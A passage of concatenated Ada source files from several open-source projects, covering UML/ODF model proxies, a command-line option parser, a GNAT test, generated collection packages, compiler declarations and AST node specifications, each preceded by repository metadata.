AMF.Internals.Tables.UML_Attributes.Internal_Set_End (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_End; ------------------- -- Get_Qualifier -- ------------------- overriding function Get_Qualifier (Self : not null access constant UML_Link_End_Creation_Data_Proxy) return AMF.UML.Qualifier_Values.Collections.Set_Of_UML_Qualifier_Value is begin return AMF.UML.Qualifier_Values.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (AMF.Internals.Tables.UML_Attributes.Internal_Get_Qualifier (Self.Element))); end Get_Qualifier; --------------- -- Get_Value -- --------------- overriding function Get_Value (Self : not null access constant UML_Link_End_Creation_Data_Proxy) return AMF.UML.Input_Pins.UML_Input_Pin_Access is begin return AMF.UML.Input_Pins.UML_Input_Pin_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Value (Self.Element))); end Get_Value; --------------- -- Set_Value -- --------------- overriding procedure Set_Value (Self : not null access UML_Link_End_Creation_Data_Proxy; To : AMF.UML.Input_Pins.UML_Input_Pin_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Value (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Value; end AMF.Internals.UML_Link_End_Creation_Datas;
reznikmm/matreshka
Ada
3,997
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with ODF.DOM.Number_Country_Attributes; package Matreshka.ODF_Number.Country_Attributes is type Number_Country_Attribute_Node is new Matreshka.ODF_Number.Abstract_Number_Attribute_Node and ODF.DOM.Number_Country_Attributes.ODF_Number_Country_Attribute with null record; overriding function Create (Parameters : not null access Matreshka.DOM_Attributes.Attribute_L2_Parameters) return Number_Country_Attribute_Node; overriding function Get_Local_Name (Self : not null access constant Number_Country_Attribute_Node) return League.Strings.Universal_String; end Matreshka.ODF_Number.Country_Attributes;
zhmu/ananas
Ada
291
adb
-- { dg-do run } with Equal7_Pkg; use Equal7_Pkg; with Ada.Strings.Unbounded; use Ada.Strings.Unbounded; procedure Equal7 is X : constant Integer := 42; begin if F (X) /= "" & ASCII.LF then null; end if; if not (F (X) = "" & ASCII.LF) then null; end if; end;
jhumphry/parse_args
Ada
3,039
adb
-- parse_args-generic_discrete_option.ads -- A simple command line option parser -- Copyright (c) 2015, James Humphry -- -- Permission to use, copy, modify, and/or distribute this software for any -- purpose with or without fee is hereby granted, provided that the above -- copyright notice and this permission notice appear in all copies. -- -- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH -- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY -- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, -- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM -- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE -- OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR -- PERFORMANCE OF THIS SOFTWARE. pragma Profile(No_Implementation_Extensions); package body Parse_Args.Generic_Options is use Ada.Finalization; ---------------- -- Set_Option -- ---------------- procedure Set_Option (O : in out Element_Option; A : in out Argument_Parser'Class) is begin if O.Set then A.State := Finish_Erroneous; A.Message := To_Unbounded_String("Argument cannot be specified twice."); else A.State := Required_Argument; end if; end Set_Option; ------------------------- -- Set_Option_Argument -- ------------------------- procedure Set_Option_Argument (O : in out Element_Option; Arg : in String; A : in out Argument_Parser'Class) is Constraint_Met : Boolean := True; begin O.Set := True; O.Value := Value(Arg); Valid(O.Value, Constraint_Met); if not Constraint_Met then A.State := Finish_Erroneous; A.Message := To_Unbounded_String(Arg & " does not meet constraints"); end if; exception when Constraint_Error => A.State := Finish_Erroneous; A.Message := To_Unbounded_String("Not a valid value: " & Arg); end Set_Option_Argument; ----------- -- Value -- ----------- function Value (A : in Argument_Parser; Name : in String) return Element is begin if A.Arguments.Contains(Name) then if A.Arguments(Name).all in Element_Option'Class then return Element_Option'Class(A.Arguments(Name).all).Value; else raise Constraint_Error with "Argument " & Name & " is not of the right type."; end if; else raise Constraint_Error with "No argument: " & Name & "."; end if; end Value; ----------------- -- Make_Option -- ----------------- function Make_Option (Default : in Element := Fallback_Default) return Option_Ptr is (new Element_Option'(Limited_Controlled with Set => False, Value => Default, Default => Default )); end Parse_Args.Generic_Options;
reznikmm/matreshka
Ada
5,825
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ with AMF.Generic_Collections; package AMF.Standard_Profile_L2.Implementation_Classes.Collections is pragma Preelaborate; package Standard_Profile_L2_Implementation_Class_Collections is new AMF.Generic_Collections (Standard_Profile_L2_Implementation_Class, Standard_Profile_L2_Implementation_Class_Access); type Set_Of_Standard_Profile_L2_Implementation_Class is new Standard_Profile_L2_Implementation_Class_Collections.Set with null record; Empty_Set_Of_Standard_Profile_L2_Implementation_Class : constant Set_Of_Standard_Profile_L2_Implementation_Class; type Ordered_Set_Of_Standard_Profile_L2_Implementation_Class is new Standard_Profile_L2_Implementation_Class_Collections.Ordered_Set with null record; Empty_Ordered_Set_Of_Standard_Profile_L2_Implementation_Class : constant Ordered_Set_Of_Standard_Profile_L2_Implementation_Class; type Bag_Of_Standard_Profile_L2_Implementation_Class is new Standard_Profile_L2_Implementation_Class_Collections.Bag with null record; Empty_Bag_Of_Standard_Profile_L2_Implementation_Class : constant Bag_Of_Standard_Profile_L2_Implementation_Class; type Sequence_Of_Standard_Profile_L2_Implementation_Class is new Standard_Profile_L2_Implementation_Class_Collections.Sequence with null record; Empty_Sequence_Of_Standard_Profile_L2_Implementation_Class : constant Sequence_Of_Standard_Profile_L2_Implementation_Class; private Empty_Set_Of_Standard_Profile_L2_Implementation_Class : constant Set_Of_Standard_Profile_L2_Implementation_Class := (Standard_Profile_L2_Implementation_Class_Collections.Set with null record); Empty_Ordered_Set_Of_Standard_Profile_L2_Implementation_Class : constant Ordered_Set_Of_Standard_Profile_L2_Implementation_Class := (Standard_Profile_L2_Implementation_Class_Collections.Ordered_Set with null record); Empty_Bag_Of_Standard_Profile_L2_Implementation_Class : constant Bag_Of_Standard_Profile_L2_Implementation_Class := (Standard_Profile_L2_Implementation_Class_Collections.Bag with null record); Empty_Sequence_Of_Standard_Profile_L2_Implementation_Class : constant Sequence_Of_Standard_Profile_L2_Implementation_Class := (Standard_Profile_L2_Implementation_Class_Collections.Sequence with null record); end AMF.Standard_Profile_L2.Implementation_Classes.Collections;
alvaromb/Compilemon
Ada
876
ads
-- DECLS-DGENERALS.ads -- Paquet de declaracions generals package Decls.Dgenerals is Max_Id : constant Integer := 1000; Long_Num_Ident : constant Integer := 40; Max_Var : constant Integer := 1000; type Num_Var is new Natural range 0 .. Max_Var; Var_Nul : Num_Var := 0; Max_Proc : constant Integer := 100; type Num_Proc is new Natural range 0 .. Max_Proc; Proc_Nul : Num_Proc := 0; Max_Etiquetes : constant Integer := 4000; type Num_Etiq is new Integer range 0 .. Max_Etiquetes; Etiq_Nul : Num_Etiq := 0; type Tipus_Etiq is (Etiq_Num, Etiq_Proc); type valor is new Integer range Integer'First..Integer'Last; type tipus_atribut is (Atom, A_Ident, A_Lit_C, A_Lit_N, A_Lit_S, NodeArbre); Esem : Boolean := False; end Decls.Dgenerals;
optikos/oasis
Ada
6,056
ads
-- Copyright (c) 2019 Maxim Reznik <[email protected]> -- -- SPDX-License-Identifier: MIT -- License-Filename: LICENSE ------------------------------------------------------------- with Program.Lexical_Elements; with Program.Elements.Expressions; with Program.Elements.Component_Definitions; with Program.Elements.Formal_Unconstrained_Array_Types; with Program.Element_Visitors; package Program.Nodes.Formal_Unconstrained_Array_Types is pragma Preelaborate; type Formal_Unconstrained_Array_Type is new Program.Nodes.Node and Program.Elements.Formal_Unconstrained_Array_Types .Formal_Unconstrained_Array_Type and Program.Elements.Formal_Unconstrained_Array_Types .Formal_Unconstrained_Array_Type_Text with private; function Create (Array_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Left_Bracket_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Index_Subtypes : not null Program.Elements.Expressions .Expression_Vector_Access; Right_Bracket_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Of_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Component_Definition : not null Program.Elements.Component_Definitions .Component_Definition_Access) return Formal_Unconstrained_Array_Type; type Implicit_Formal_Unconstrained_Array_Type is new Program.Nodes.Node and Program.Elements.Formal_Unconstrained_Array_Types .Formal_Unconstrained_Array_Type with private; function Create (Index_Subtypes : not null Program.Elements.Expressions .Expression_Vector_Access; Component_Definition : not null Program.Elements.Component_Definitions .Component_Definition_Access; Is_Part_Of_Implicit : Boolean := False; Is_Part_Of_Inherited : Boolean := False; Is_Part_Of_Instance : Boolean := False) return Implicit_Formal_Unconstrained_Array_Type with Pre => Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance; private type Base_Formal_Unconstrained_Array_Type is abstract new Program.Nodes.Node and Program.Elements.Formal_Unconstrained_Array_Types .Formal_Unconstrained_Array_Type with record Index_Subtypes : not null Program.Elements.Expressions .Expression_Vector_Access; Component_Definition : not null Program.Elements.Component_Definitions .Component_Definition_Access; end record; procedure Initialize (Self : aliased in out Base_Formal_Unconstrained_Array_Type'Class); overriding procedure Visit (Self : not null access Base_Formal_Unconstrained_Array_Type; Visitor : in out Program.Element_Visitors.Element_Visitor'Class); overriding function Index_Subtypes (Self : Base_Formal_Unconstrained_Array_Type) return not null Program.Elements.Expressions.Expression_Vector_Access; overriding function Component_Definition (Self : Base_Formal_Unconstrained_Array_Type) return not null Program.Elements.Component_Definitions .Component_Definition_Access; overriding function Is_Formal_Unconstrained_Array_Type_Element (Self : Base_Formal_Unconstrained_Array_Type) return Boolean; overriding function Is_Formal_Type_Definition_Element (Self : Base_Formal_Unconstrained_Array_Type) return Boolean; overriding function Is_Definition_Element (Self : Base_Formal_Unconstrained_Array_Type) return Boolean; type Formal_Unconstrained_Array_Type is new Base_Formal_Unconstrained_Array_Type and Program.Elements.Formal_Unconstrained_Array_Types .Formal_Unconstrained_Array_Type_Text with record Array_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Left_Bracket_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Right_Bracket_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Of_Token : not null Program.Lexical_Elements .Lexical_Element_Access; end record; overriding function To_Formal_Unconstrained_Array_Type_Text (Self : aliased in out Formal_Unconstrained_Array_Type) return Program.Elements.Formal_Unconstrained_Array_Types .Formal_Unconstrained_Array_Type_Text_Access; overriding function Array_Token (Self : Formal_Unconstrained_Array_Type) return not null Program.Lexical_Elements.Lexical_Element_Access; overriding function Left_Bracket_Token (Self : Formal_Unconstrained_Array_Type) return not null Program.Lexical_Elements.Lexical_Element_Access; overriding function Right_Bracket_Token (Self : Formal_Unconstrained_Array_Type) return not null Program.Lexical_Elements.Lexical_Element_Access; overriding function Of_Token (Self : Formal_Unconstrained_Array_Type) return not null Program.Lexical_Elements.Lexical_Element_Access; type Implicit_Formal_Unconstrained_Array_Type is new Base_Formal_Unconstrained_Array_Type with record Is_Part_Of_Implicit : Boolean; Is_Part_Of_Inherited : Boolean; Is_Part_Of_Instance : Boolean; end record; overriding function To_Formal_Unconstrained_Array_Type_Text (Self : aliased in out Implicit_Formal_Unconstrained_Array_Type) return Program.Elements.Formal_Unconstrained_Array_Types .Formal_Unconstrained_Array_Type_Text_Access; overriding function Is_Part_Of_Implicit (Self : Implicit_Formal_Unconstrained_Array_Type) return Boolean; overriding function Is_Part_Of_Inherited (Self : Implicit_Formal_Unconstrained_Array_Type) return Boolean; overriding function Is_Part_Of_Instance (Self : Implicit_Formal_Unconstrained_Array_Type) return Boolean; end Program.Nodes.Formal_Unconstrained_Array_Types;